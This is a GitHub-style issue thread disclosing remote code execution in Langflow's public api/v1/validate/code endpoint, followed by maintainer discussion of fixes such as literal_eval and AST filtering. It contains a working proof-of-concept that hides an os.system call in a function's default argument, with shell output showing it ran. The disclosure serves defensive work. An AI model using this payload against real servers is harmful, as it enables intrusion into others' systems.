Code injection by API api/v1/validate/code which can lead to code execution

[Lyutoon]

Describe the bug
As defined in the source code, API validate/code validate the code and give the validation result. While the function exec is used when facing the condition that isinstance(node, ast.FunctionDef), after going into this branch, exec will be called.

But we can trigger the exec by using the default parameter of a function which can lead to code execution.

While this API is the public API, so if a service is running on a public server, attacker can do RCE by calling the API, giving a part of code to execute the code remotely, even reverse a shell.

To Reproduce
Here is the PoC:

from fastapi.testclient import TestClient

def client():
    from langflow.main import create_app

    app = create_app()

    with TestClient(app) as client:
        return client

def test_post_validate_code(client: TestClient, code):
    # Test case with a valid import and function
    response1 = client.post("api/v1/validate/code", json={"code": code})
    print(response1.json())
    assert response1.status_code == 200
    assert response1.json() == {"imports": {"errors": []}, "function": {"errors": []}}

code = """
def x(y=eval('__import__("os").system("ls")')):
    pass
"""

test_post_validate_code(client(), code)

Shell Log

➜  langflow python3 langflow_poc.py
langflow.db	langflow_poc.py	logs
{'imports': {'errors': []}, 'function': {'errors': []}}

[ogabrielluiz]

Hi! What are your suggestions on this?

Sandboxing is out of reach for an open-source project like this (for now at least). I think we can test some options such as literal_eval but I'm not sure it is going to have the same result. What do you think?

[stale]

This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs. Thank you for your contributions.

[Lyutoon]

Hi! Sorry for the late reply...
My suggestion is that:

1. add a lightweight sandbox such as ast-based sandbox to traverse all the node and filter out those malicious one such as import, dangerous functions.
2. just replace it with literal_eval.
3. add a comment or warning on this API that warns the user that this API should not be directly called by arbitrary user, use it as your own risk.
   Thanks! Hope these suggestions will do some help.